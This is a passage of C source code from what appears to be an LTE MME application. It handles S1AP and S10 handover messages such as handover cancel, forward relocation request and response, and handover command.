mme_app_s10_proc_mme_handover_t * s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc){
OAILOG_WARNING(LOG_MME_APP, "UE with ue_id " MME_UE_S1AP_ID_FMT " has not an ongoing handover procedure on the (source) MME side. Sending Cancel Ack. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s1ap_handover_cancel_acknowledge(handover_cancel_pP->mme_ue_s1ap_id, handover_cancel_pP->enb_ue_s1ap_id, handover_cancel_pP->assoc_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check that the UE is in registered state. */
if (ue_context->mm_state != UE_REGISTERED) {
OAILOG_ERROR (LOG_MME_APP, "UE with ue_id " MME_UE_S1AP_ID_FMT " is not in UE_REGISTERED state on the (source) MME side. Sending Cancel Ack. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s1ap_handover_cancel_acknowledge(handover_cancel_pP->mme_ue_s1ap_id, handover_cancel_pP->enb_ue_s1ap_id, handover_cancel_pP->assoc_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/**
* Staying in the same state (UE_REGISTERED).
* If the GUTI is not found, first send a preparation failure, then implicitly detach.
*/
emm_context = emm_data_context_get_by_guti (&_emm_data, &ue_context->guti);
/** Check that the UE NAS context != NULL. */
DevAssert(emm_context && emm_fsm_get_state (emm_context) == EMM_REGISTERED);
/*
* UE will always stay in EMM-REGISTERED mode until S10 Handover is completed (CANCEL_LOCATION_REQUEST).
* Just checking S10 is not enough. The UE may have handovered to the target-MME and then handovered to another eNB in the TARGET-MME.
* Check if there is a target-TAI registered for the UE is in this or another MME.
*/
/* Check if it is an intra- or inter-MME handover. */
if(s10_handover_proc->proc.type == MME_APP_S10_PROC_TYPE_INTRA_MME_HANDOVER){
/*
* Check if there already exists a UE-Reference to the target cell.
* If so, this means that HANDOVER_REQUEST_ACKNOWLEDGE is already received.
* It is so far gone in the handover process. We will send CANCEL-ACK and implicitly detach the UE.
*/
if(s10_handover_proc->target_enb_ue_s1ap_id != 0 && ue_context->enb_ue_s1ap_id != s10_handover_proc->target_enb_ue_s1ap_id){
// todo: macro/home enb_id
ue_description_t * ue_reference = s1ap_is_enb_ue_s1ap_id_in_list_per_enb(s10_handover_proc->target_enb_ue_s1ap_id, s10_handover_proc->target_ecgi.cell_identity.enb_id);
if(ue_reference != NULL){
/** UE Reference to the target eNB found. Sending a UE Context Release to the target MME BEFORE a HANDOVER_REQUEST_ACK arrives. */
OAILOG_INFO(LOG_MME_APP, "Sending UE-Context-Release-Cmd to the target eNB %d for the UE-ID " MME_UE_S1AP_ID_FMT " and pending_enbUeS1apId " ENB_UE_S1AP_ID_FMT " (current enbUeS1apId) " ENB_UE_S1AP_ID_FMT ". \n.",
s10_handover_proc->target_ecgi.cell_identity.enb_id, ue_context->mme_ue_s1ap_id, s10_handover_proc->target_enb_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
ue_context->s1_ue_context_release_cause = S1AP_HANDOVER_CANCELLED;
mme_app_itti_ue_context_release (ue_context->mme_ue_s1ap_id, s10_handover_proc->target_enb_ue_s1ap_id, S1AP_HANDOVER_CANCELLED, s10_handover_proc->target_ecgi.cell_identity.enb_id);
/**
* No pending transparent container expected.
* We directly respond with CANCEL_ACK, since when UE_CTX_RELEASE_CMPLT comes from targetEnb, we don't know if the current enb is target or source,
* so we cannot decide there to send CANCEL_ACK without a flag.
*/
OAILOG_FUNC_OUT (LOG_MME_APP);
}else{
OAILOG_INFO(LOG_MME_APP, "No target UE reference is established yet. No S1AP UE context removal needed for UE-ID " MME_UE_S1AP_ID_FMT ". Responding with HO_CANCEL_ACK back to enbUeS1apId " ENB_UE_S1AP_ID_FMT ". \n.",
ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
}
}
/** Send a HO-CANCEL-ACK to the source-MME. */
mme_app_send_s1ap_handover_cancel_acknowledge(handover_cancel_pP->mme_ue_s1ap_id, handover_cancel_pP->enb_ue_s1ap_id, handover_cancel_pP->assoc_id);
/** Delete the handover procedure. */
// todo: aborting the handover procedure.
mme_app_delete_s10_procedure_mme_handover(ue_context);
/** Keeping the UE context as it is. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}else{
/* Inter MME procedure.
*
* Target-TAI was not in the current MME. Sending a S10 Context Release Request.
*
* It may be that, the TEID is some other (the old MME it was handovered before from here.
* So we need to check the TAI and find the correct neighboring MME.#
* todo: to skip this step, we might set it back to 0 after S10-Complete for the previous Handover.
*/
// todo: currently only a single neighboring MME supported.
/** Get the neighboring MME IP. */
if (1) {
// TODO prototype may change
// mme_app_select_service(&s10_handover_proc->target_tai, &neigh_mme_ipv4_addr);
// session_request_p->peer_ip.in_addr = mme_config.ipv4.
if(s10_handover_proc->proc.peer_ip.s_addr == 0){
/** Send a Handover Preparation Failure back. */
mme_app_send_s1ap_handover_cancel_acknowledge(handover_cancel_pP->mme_ue_s1ap_id, handover_cancel_pP->enb_ue_s1ap_id, handover_cancel_pP->assoc_id);
mme_app_delete_s10_procedure_mme_handover(ue_context);
OAILOG_ERROR(LOG_MME_APP, "The selected TAI " TAI_FMT " is not configured as an S10 MME neighbor for UE. "
"Accepting Handover cancel and removing handover procedure. \n",
TAI_ARG(&s10_handover_proc->target_tai), s10_handover_proc->mme_ue_s1ap_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S1AP_HANDOVER_REQUIRED Unknown ue %u", handover_required_pP->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
message_p = itti_alloc_new_message (TASK_MME_APP, S10_RELOCATION_CANCEL_REQUEST);
DevAssert (message_p != NULL);
itti_s10_relocation_cancel_request_t *relocation_cancel_request_p = &message_p->ittiMsg.s10_relocation_cancel_request;
memset ((void*)relocation_cancel_request_p, 0, sizeof (itti_s10_relocation_cancel_request_t));
relocation_cancel_request_p->teid = s10_handover_proc->remote_mme_teid.teid; /**< May or may not be 0. */
relocation_cancel_request_p->local_teid = ue_context->local_mme_teid_s10; /**< May or may not be 0. */
// todo: check the table!
relocation_cancel_request_p->peer_ip.s_addr = s10_handover_proc->proc.peer_ip.s_addr;
/** IMSI. */
memcpy((void*)&relocation_cancel_request_p->imsi, &emm_context->_imsi, sizeof(imsi_t));
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 RELOCATION_CANCEL_REQUEST_MESSAGE");
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
OAILOG_DEBUG(LOG_MME_APP, "Successfully sent S10 RELOCATION_CANCEL_REQUEST to the target MME for the UE with IMSI " IMSI_64_FMT " and id " MME_UE_S1AP_ID_FMT ". "
"Continuing with HO-CANCEL PROCEDURE. \n", ue_context->mme_ue_s1ap_id, ue_context->imsi);
/** Delete the handover procedure. */
// todo: aborting the handover procedure.
// mme_app_delete_s10_procedure_mme_handover(ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Update the local S10 TEID.
*/
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
INVALID_ENB_UE_S1AP_ID_KEY,
ue_context->mme_ue_s1ap_id,
ue_context->imsi, /**< New IMSI. */
ue_context->mme_teid_s11,
INVALID_TEID,
&ue_context->guti);
/*
* Not handling S10 response messages, to also drop other previous S10 messages (FW_RELOC_RSP).
* Send a HO-CANCEL-ACK to the source-MME.
*/
mme_app_send_s1ap_handover_cancel_acknowledge(handover_cancel_pP->mme_ue_s1ap_id, handover_cancel_pP->enb_ue_s1ap_id, handover_cancel_pP->assoc_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
/**
* Method to send the S1AP MME Status Transfer to the target-eNB.
* Will not make any changes in the UE context.
* No F-Container will/needs to be stored temporarily.
*/
static
void mme_app_send_s1ap_mme_status_transfer(mme_ue_s1ap_id_t mme_ue_s1ap_id, enb_ue_s1ap_id_t enb_ue_s1ap_id, uint32_t enb_id, bstring source_to_target_cont){
MessageDef * message_p = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
/**
* Prepare a S1AP ITTI message without changing the UE context.
*/
message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_MME_STATUS_TRANSFER);
DevAssert (message_p != NULL);
itti_s1ap_status_transfer_t *status_transfer_p = &message_p->ittiMsg.s1ap_mme_status_transfer;
memset (status_transfer_p, 0, sizeof (itti_s1ap_status_transfer_t));
status_transfer_p->mme_ue_s1ap_id = mme_ue_s1ap_id;
status_transfer_p->enb_ue_s1ap_id = enb_ue_s1ap_id; /**< Just ENB_UE_S1AP_ID. */
/** Set the current enb_id. */
status_transfer_p->enb_id = enb_id;
/** Set the E-UTRAN Target-To-Source-Transparent-Container. */
status_transfer_p->bearerStatusTransferList_buffer = source_to_target_cont;
// todo: what will the enb_ue_s1ap_ids for single mme s1ap handover will be.. ?
OAILOG_INFO(LOG_MME_APP, "Sending S1AP MME_STATUS_TRANSFER command to the target eNodeB for enbUeS1apId " ENB_UE_S1AP_ID_FMT " and enbId %d. \n", enb_ue_s1ap_id, enb_id);
/** The ENB_ID/Stream information in the UE_Context are still the ones for the source-ENB and the SCTP-UE_ID association is not set yet for the new eNB. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0, "MME_APP Sending S1AP MME_STATUS_TRANSFER.");
/** Sending a message to S1AP. */
itti_send_msg_to_task (TASK_S1AP, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_forward_relocation_request(
itti_s10_forward_relocation_request_t * const forward_relocation_request_pP
)
{
MessageDef *message_p = NULL;
struct ue_context_s *ue_context = NULL;
mme_app_s10_proc_mme_handover_t *s10_proc_mme_handover = NULL;
bearer_contexts_to_be_created_t bcs_tbc;
uint16_t encryption_algorithm_capabilities = (uint16_t)0;
uint16_t integrity_algorithm_capabilities = (uint16_t)0;
int rc = RETURNok;
OAILOG_FUNC_IN (LOG_MME_APP);
AssertFatal ((forward_relocation_request_pP->imsi.length > 0)
&& (forward_relocation_request_pP->imsi.length < 16), "BAD IMSI LENGTH %d", forward_relocation_request_pP->imsi.length);
AssertFatal ((forward_relocation_request_pP->imsi.length > 0)
&& (forward_relocation_request_pP->imsi.length < 16), "STOP ON IMSI LENGTH %d", forward_relocation_request_pP->imsi.length);
memset((void*)&bcs_tbc, 0, sizeof(bcs_tbc));
/** Everything stack to this point. */
/** Check that the TAI & PLMN are actually served. */
tai_t target_tai;
memset(&target_tai, 0, sizeof (tai_t));
target_tai.plmn.mcc_digit1 = forward_relocation_request_pP->target_identification.mcc[0];
target_tai.plmn.mcc_digit2 = forward_relocation_request_pP->target_identification.mcc[1];
target_tai.plmn.mcc_digit3 = forward_relocation_request_pP->target_identification.mcc[2];
target_tai.plmn.mnc_digit1 = forward_relocation_request_pP->target_identification.mnc[0];
target_tai.plmn.mnc_digit2 = forward_relocation_request_pP->target_identification.mnc[1];
target_tai.plmn.mnc_digit3 = forward_relocation_request_pP->target_identification.mnc[2];
target_tai.tac = forward_relocation_request_pP->target_identification.target_id.macro_enb_id.tac;
/** Get the eNB Id. */
target_type_t target_type = forward_relocation_request_pP->target_identification.target_type;
uint32_t enb_id = 0;
switch(forward_relocation_request_pP->target_identification.target_type){
case TARGET_ID_MACRO_ENB_ID:
enb_id = forward_relocation_request_pP->target_identification.target_id.macro_enb_id.enb_id;
break;
case TARGET_ID_HOME_ENB_ID:
enb_id = forward_relocation_request_pP->target_identification.target_id.macro_enb_id.enb_id;
break;
default:
OAILOG_DEBUG (LOG_MME_APP, "Target ENB type %d cannot be handovered to. Rejecting S10 handover request.. \n",
forward_relocation_request_pP->target_identification.target_type);
mme_app_send_s10_forward_relocation_response_err(forward_relocation_request_pP->s10_source_mme_teid.teid,
forward_relocation_request_pP->s10_source_mme_teid.ipv4_address, forward_relocation_request_pP->trxn, RELOCATION_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check the target-ENB is reachable. */
if (mme_app_check_ta_local(&target_tai.plmn, forward_relocation_request_pP->target_identification.target_id.macro_enb_id.tac)) {
/** The target PLMN and TAC are served by this MME. */
OAILOG_DEBUG (LOG_MME_APP, "Target TAC " TAC_FMT " is served by current MME. \n", forward_relocation_request_pP->target_identification.target_id.macro_enb_id.tac);
/*
* Currently only a single TA will be served by each MME and we are expecting TAU from the UE side.
* Check that the eNB is also served, that an SCTP association exists for the eNB.
*/
if(s1ap_is_enb_id_in_list(enb_id) != NULL){
OAILOG_DEBUG (LOG_MME_APP, "Target ENB_ID %u is served by current MME. \n", enb_id);
/** Continue with the handover establishment. */
}else{
/** The target PLMN and TAC are not served by this MME. */
OAILOG_ERROR(LOG_MME_APP, "Target ENB_ID %u is NOT served by the current MME. \n", enb_id);
mme_app_send_s10_forward_relocation_response_err(forward_relocation_request_pP->s10_source_mme_teid.teid, forward_relocation_request_pP->s10_source_mme_teid.ipv4_address, forward_relocation_request_pP->trxn, RELOCATION_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}else{
/** The target PLMN and TAC are not served by this MME. */
OAILOG_ERROR(LOG_MME_APP, "TARGET TAC " TAC_FMT " is NOT served by current MME. \n", forward_relocation_request_pP->target_identification.target_id.macro_enb_id.tac);
mme_app_send_s10_forward_relocation_response_err(forward_relocation_request_pP->s10_source_mme_teid.teid, forward_relocation_request_pP->s10_source_mme_teid.ipv4_address, forward_relocation_request_pP->trxn, RELOCATION_FAILURE);
/** No UE context or tunnel endpoint is allocated yet. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** We should only send the handover request and not deal with anything else. */
if ((ue_context = mme_create_new_ue_context ()) == NULL) {
/** Send a negative response before crashing. */
mme_app_send_s10_forward_relocation_response_err(forward_relocation_request_pP->s10_source_mme_teid.teid, forward_relocation_request_pP->s10_source_mme_teid.ipv4_address, forward_relocation_request_pP->trxn, SYSTEM_FAILURE);
/**
* Error during UE context malloc
*/
DevMessage ("Error while mme_create_new_ue_context");
OAILOG_FUNC_OUT (LOG_MME_APP);
}
ue_context->mme_ue_s1ap_id = mme_app_ctx_get_new_ue_id ();
if (ue_context->mme_ue_s1ap_id == INVALID_MME_UE_S1AP_ID) {
OAILOG_CRITICAL (LOG_MME_APP, "MME_APP_FORWARD_RELOCATION_REQUEST. MME_UE_S1AP_ID allocation Failed.\n");
/** Deallocate the ue context and remove from MME_APP map. */
mme_remove_ue_context (&mme_app_desc.mme_ue_contexts, ue_context);
/** Send back failure. */
mme_app_send_s10_forward_relocation_response_err(forward_relocation_request_pP->s10_source_mme_teid.teid, forward_relocation_request_pP->s10_source_mme_teid.ipv4_address, forward_relocation_request_pP->trxn, RELOCATION_FAILURE);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_DEBUG (LOG_MME_APP, "MME_APP_INITIAL_UE_MESSAGE. Allocated new MME UE context and new mme_ue_s1ap_id. " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
/** Register the new MME_UE context into the map. Don't register the IMSI yet. Leave it for the NAS layer. */
DevAssert (mme_insert_ue_context (&mme_app_desc.mme_ue_contexts, ue_context) == 0);
imsi64_t imsi = imsi_to_imsi64(&forward_relocation_request_pP->imsi);
/** Get the old context and invalidate its IMSI relation. */
ue_context_t * old_ue_context = mme_ue_context_exists_imsi(&mme_app_desc.mme_ue_contexts, imsi);
if(old_ue_context){
// todo: any locks here?
OAILOG_WARNING(LOG_MME_APP, "An old UE context with mmeUeId " MME_UE_S1AP_ID_FMT " already exists for IMSI " IMSI_64_FMT ". \n", old_ue_context->mme_ue_s1ap_id, imsi);
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, old_ue_context,
old_ue_context->enb_s1ap_id_key,
old_ue_context->mme_ue_s1ap_id,
INVALID_IMSI64, /**< Invalidate the IMSI relationshop to the old UE context, nothing else.. */
old_ue_context->mme_teid_s11,
old_ue_context->local_mme_teid_s10,
&old_ue_context->guti);
}
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
ue_context->enb_s1ap_id_key,
ue_context->mme_ue_s1ap_id,
imsi, /**< Invalidate the IMSI relationship to the old UE context, nothing else.. */
ue_context->mme_teid_s11,
ue_context->local_mme_teid_s10,
&ue_context->guti);
/*
* Create a new handover procedure, no matter a UE context exists or not.
* Store the transaction in it.
* Store all pending PDN connections in it.
* Each time a CSResp for a specific APN arrives, send another CSReq if needed.
*/
s10_proc_mme_handover = mme_app_create_s10_procedure_mme_handover(ue_context, true, MME_APP_S10_PROC_TYPE_INTER_MME_HANDOVER);
DevAssert(s10_proc_mme_handover);
/*
* If we make the procedure a specific procedure for forward relocation request, then it would be removed with forward relocation response,
* todo: where to save the mm_eps_context and s10 tunnel information,
* Else, if it is a generic s10 handover procedure, we need to update the transaction with every time.
*/
/** Fill the values of the s10 handover procedure (and decouple them, such that remain after the ITTI message is removed). */
memcpy((void*)&s10_proc_mme_handover->target_id, (void*)&forward_relocation_request_pP->target_identification, sizeof(target_identification_t));
/** Set the IMSI. */
memcpy((void*)&s10_proc_mme_handover->nas_s10_context._imsi, (void*)&forward_relocation_request_pP->imsi, sizeof(imsi_t));
s10_proc_mme_handover->nas_s10_context.imsi = imsi;
/** Set the target tai also in the target-MME side. */
memcpy((void*)&s10_proc_mme_handover->target_tai, &target_tai, sizeof(tai_t));
/** Set the subscribed AMBR values. */
ue_context->subscribed_ue_ambr.br_dl = forward_relocation_request_pP->ue_eps_mm_context->subscribed_ue_ambr.br_dl;
ue_context->subscribed_ue_ambr.br_ul = forward_relocation_request_pP->ue_eps_mm_context->subscribed_ue_ambr.br_ul;
s10_proc_mme_handover->nas_s10_context.mm_eps_ctx = forward_relocation_request_pP->ue_eps_mm_context;
forward_relocation_request_pP->ue_eps_mm_context = NULL;
s10_proc_mme_handover->source_to_target_eutran_f_container = forward_relocation_request_pP->f_container;
forward_relocation_request_pP->f_container.container_value = NULL;
s10_proc_mme_handover->f_cause = forward_relocation_request_pP->f_cause;
/** Set the Source FTEID. */
memcpy((void*)&s10_proc_mme_handover->remote_mme_teid, (void*)&forward_relocation_request_pP->s10_source_mme_teid, sizeof(fteid_t));
s10_proc_mme_handover->peer_port = forward_relocation_request_pP->peer_port;
s10_proc_mme_handover->forward_relocation_trxn = forward_relocation_request_pP->trxn;
/** If it is a new_ue_context, additionally set the pdn_connections IE. */
/** Set the eNB Id. */
ue_context->e_utran_cgi.cell_identity.enb_id = enb_id;
s10_proc_mme_handover->pdn_connections = forward_relocation_request_pP->pdn_connections;
forward_relocation_request_pP->pdn_connections = NULL; /**< Unlink the pdn_connections. */
OAILOG_DEBUG(LOG_MME_APP, "UE_CONTEXT for UE " MME_UE_S1AP_ID_FMT " is a new UE_Context. Processing the received PDN_CONNECTIONS IEs (continuing with CSR). \n", ue_context->mme_ue_s1ap_id);
/** Process PDN Connections IE. Will initiate a Create Session Request message for the pending pdn_connections. */
pdn_connection_t * pdn_connection = &s10_proc_mme_handover->pdn_connections->pdn_connection[0];
pdn_context_t * pdn_context = mme_app_handle_pdn_connectivity_from_s10(ue_context, pdn_connection);
/*
* When Create Session Response is received, continue to process the next PDN connection, until all are processed.
* When all pdn_connections are completed, continue with handover request.
*/
mme_app_send_s11_create_session_req (ue_context->mme_ue_s1ap_id, &s10_proc_mme_handover->nas_s10_context._imsi, pdn_context, &target_tai, (protocol_configuration_options_t*)NULL, false);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
/*
* Send an S1AP Handover Request.
*/
static
void mme_app_send_s1ap_handover_request(mme_ue_s1ap_id_t mme_ue_s1ap_id,
bearer_contexts_to_be_created_t *bcs_tbc,
ambr_t *total_used_apn_ambr,
uint32_t enb_id,
uint16_t encryption_algorithm_capabilities,
uint16_t integrity_algorithm_capabilities,
uint8_t nh[AUTH_NH_SIZE],
uint8_t ncc,
bstring eutran_source_to_target_container){
MessageDef *message_p = NULL;
ue_context_t *ue_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, mme_ue_s1ap_id);
DevAssert(ue_context); /**< Should always exist. Any mobility issue in which this could occur? */
/** Get the EMM Context. */
message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_HANDOVER_REQUEST);
itti_s1ap_handover_request_t *handover_request_p = &message_p->ittiMsg.s1ap_handover_request;
/** UE_ID. */
handover_request_p->ue_id = mme_ue_s1ap_id;
handover_request_p->macro_enb_id = enb_id;
/** Handover Type & Cause will be set in the S1AP layer. */
/** Set the AMBR Parameters. */
handover_request_p->ambr.br_ul = total_used_apn_ambr->br_ul;
handover_request_p->ambr.br_dl = total_used_apn_ambr->br_dl;
/** Set the bearer contexts to be created. Not changing any bearer state. */
handover_request_p->bearer_ctx_to_be_setup_list = calloc(1, sizeof(bearer_contexts_to_be_created_t));
memcpy((void*)handover_request_p->bearer_ctx_to_be_setup_list, bcs_tbc, sizeof(*bcs_tbc));
/** Set the Security Capabilities. */
handover_request_p->security_capabilities_encryption_algorithms = encryption_algorithm_capabilities;
handover_request_p->security_capabilities_integrity_algorithms = integrity_algorithm_capabilities;
/** Set the Security Context. */
handover_request_p->ncc = ncc;
memcpy(handover_request_p->nh, nh, AUTH_NH_SIZE);
/** Set the Source-to-Target Transparent container from the pending information, which will be removed from the UE_Context. */
handover_request_p->source_to_target_eutran_container = eutran_source_to_target_container;
itti_send_msg_to_task (TASK_S1AP, INSTANCE_DEFAULT, message_p);
OAILOG_DEBUG (LOG_MME_APP, "Sending S1AP Handover Request message for UE "MME_UE_S1AP_ID_FMT ". \n.", mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
/**
* Method to send the handover command to the source-eNB.
* Will not make any changes in the UE context.
* No F-Container will/needs to be stored temporarily.
* No timer to be started.
*/
static
void mme_app_send_s1ap_handover_command(mme_ue_s1ap_id_t mme_ue_s1ap_id, enb_ue_s1ap_id_t enb_ue_s1ap_id, uint32_t enb_id,
bearer_contexts_to_be_created_t * bcs_tbc, bstring target_to_source_cont){
MessageDef * message_p = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
/**
* Prepare a S1AP ITTI message without changing the UE context.
*/
message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_HANDOVER_COMMAND);
DevAssert (message_p != NULL);
itti_s1ap_handover_command_t *handover_command_p = &message_p->ittiMsg.s1ap_handover_command;
memset (handover_command_p, 0, sizeof (itti_s1ap_handover_command_t));
handover_command_p->mme_ue_s1ap_id = mme_ue_s1ap_id;
handover_command_p->enb_ue_s1ap_id = enb_ue_s1ap_id; /**< Just ENB_UE_S1AP_ID. */
handover_command_p->enb_id = enb_id;
/** Set the bearer contexts to be created. Not changing any bearer state. */
handover_command_p->bearer_ctx_to_be_forwarded_list = calloc(1, sizeof(bearer_contexts_to_be_created_t));
memcpy((void*)handover_command_p->bearer_ctx_to_be_forwarded_list, bcs_tbc, sizeof(*bcs_tbc));
/** Set the E-UTRAN Target-To-Source-Transparent-Container. */
handover_command_p->eutran_target_to_source_container = target_to_source_cont;
// todo: what will the enb_ue_s1ap_ids for single mme s1ap handover will be.. ?
OAILOG_INFO(LOG_MME_APP, "Sending S1AP handover command to the source eNodeB for UE " MME_UE_S1AP_ID_FMT " to source enbId %d. \n", mme_ue_s1ap_id, enb_id);
/** The ENB_ID/Stream information in the UE_Context are still the ones for the source-ENB and the SCTP-UE_ID association is not set yet for the new eNB. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0, "MME_APP Sending S1AP HANDOVER_COMMAND.");
/** Sending a message to S1AP. */
itti_send_msg_to_task (TASK_S1AP, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_forward_relocation_response(
itti_s10_forward_relocation_response_t* const forward_relocation_response_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
uint64_t imsi = 0;
int16_t bearer_id =0;
int rc = RETURNok;
OAILOG_FUNC_IN (LOG_MME_APP);
DevAssert (forward_relocation_response_pP );
ue_context = mme_ue_context_exists_s10_teid(&mme_app_desc.mme_ue_contexts, forward_relocation_response_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 S10_FORWARD_RELOCATION_RESPONSE local S11 teid " TEID_FMT " ", forward_relocation_response_pP->teid);
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", forward_relocation_response_pP->teid);
/**
* The HANDOVER_NOTIFY timeout will purge any UE_Contexts, if exists.
* Not manually purging anything.
* todo: Not sending anything to the target side? (RELOCATION_FAILURE?)
*/
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 S10_FORWARD_RELOCATION_RESPONSE local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
forward_relocation_response_pP->teid, ue_context->imsi);
/*
* Check that there is a s10 handover procedure.
* If not, drop the message, don't care about target-MME.
*/
mme_app_s10_proc_mme_handover_t * s10_handover_procedure = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_procedure){
/** Deal with the error case. */
OAILOG_ERROR(LOG_MME_APP, "No S10 Handover procedure for UE IMSI " IMSI_64_FMT " and mmeS1apUeId " MME_UE_S1AP_ID_FMT " in state %d. Dropping the ForwardRelResp. \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id, ue_context->mm_state);
/** No implicit detach. */
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
/** Check if bearers/pdn is present (optionally: relocation cancel request). */
pdn_context_t * first_pdn = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(!first_pdn){
OAILOG_ERROR(LOG_MME_APP, "UE context for IMSI " IMSI_64_FMT " and mmeS1apUeId " MME_UE_S1AP_ID_FMT " does not have any pdn/Bearer context. Not continuing with handover commond (prep-failure) & sending relocation cancel request. \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id);
/** Send prep-failure to source enb. No need to send relocation cancel request to source. Timers should handle such abnormalities. */
mme_app_send_s1ap_handover_preparation_failure(ue_context->mme_ue_s1ap_id,
ue_context->enb_ue_s1ap_id, ue_context->sctp_assoc_id_key, RELOCATION_FAILURE);
/** Not manually stopping the handover procedure.. implicit detach is assumed to be ongoing. */
OAILOG_FUNC_RETURN (LOG_MME_APP, rc);
}
if (forward_relocation_response_pP->cause.cause_value != REQUEST_ACCEPTED) {
/**
* We are in EMM-REGISTERED state, so we don't need to perform an implicit detach.
* In the target side, we won't do anything. We assumed everything is taken care of (No Relocation Cancel Request to be sent).
* No handover timers in the source-MME side exist.
* We will only send an Handover Preparation message and leave the UE context as it is (including the S10 tunnel endpoint at the source-MME side).
* The handover notify timer is only at the target-MME side. That's why, its not in the method below.
*/
mme_app_send_s1ap_handover_preparation_failure(ue_context->mme_ue_s1ap_id,
ue_context->enb_ue_s1ap_id, ue_context->sctp_assoc_id_key, RELOCATION_FAILURE);
/** Delete the source handover procedure. Continue with the existing UE reference. */
mme_app_delete_s10_procedure_mme_handover(ue_context);
OAILOG_FUNC_RETURN (LOG_MME_APP, rc);
}
/** We are the source-MME side. Store the counterpart as target-MME side. */
memcpy((void*)&s10_handover_procedure->remote_mme_teid, (void*)&forward_relocation_response_pP->s10_target_mme_teid, sizeof(fteid_t));
//---------------------------------------------------------
// Process itti_s10_forward_relocation_response_t.bearer_context_admitted
//---------------------------------------------------------
/**
* Iterate through the admitted bearer items.
* Currently only EBI received.. but nothing is done with that.
* todo: check that the bearer exists? bearer id may change? used for data forwarding?
* todo: must check if any bearer exist at all? todo: must check that the number bearers is as expected?
* todo: DevCheck ((bearer_id < BEARERS_PER_UE) && (bearer_id >= 0), bearer_id, BEARERS_PER_UE, 0);
*/
bearer_id = forward_relocation_response_pP->handovered_bearers.bearer_contexts[0].eps_bearer_id /* - 5 */ ;
// todo: what is the dumping doing? printing? needed for s10?
/**
* Not doing/storing anything in the NAS layer. Just sending handover command back.
* Send a S1AP Handover Command to the source eNodeB.
*/
OAILOG_INFO(LOG_MME_APP, "MME_APP UE context is in REGISTERED state. Sending a Handover Command to the source-ENB with enbId: %d for UE with mmeUeS1APId : " MME_UE_S1AP_ID_FMT " and IMSI " IMSI_64_FMT " after S10 Forward Relocation Response. \n",
ue_context->e_utran_cgi.cell_identity.enb_id, ue_context->mme_ue_s1ap_id, ue_context->imsi);
bearer_contexts_to_be_created_t bcs_tbf;
memset((void*)&bcs_tbf, 0, sizeof(bcs_tbf));
pdn_context_t * registered_pdn_ctx = NULL;
RB_FOREACH (registered_pdn_ctx, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(registered_pdn_ctx);
mme_app_get_bearer_contexts_to_be_created(registered_pdn_ctx, &bcs_tbf, BEARER_STATE_NULL);
/** The number of bearers will be incremented in the method. S10 should just pick the ebi. */
}
/** Send a Handover Command. */
mme_app_send_s1ap_handover_command(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id,
s10_handover_procedure->source_ecgi.cell_identity.enb_id,
// ue_context->e_utran_cgi.cell_identity.enb_id,
&bcs_tbf,
forward_relocation_response_pP->eutran_container.container_value);
s10_handover_procedure->ho_command_sent = true;
/** Unlink the container. */
forward_relocation_response_pP->eutran_container.container_value = NULL;
/**
* No new UE identifier. We don't update the coll_keys.
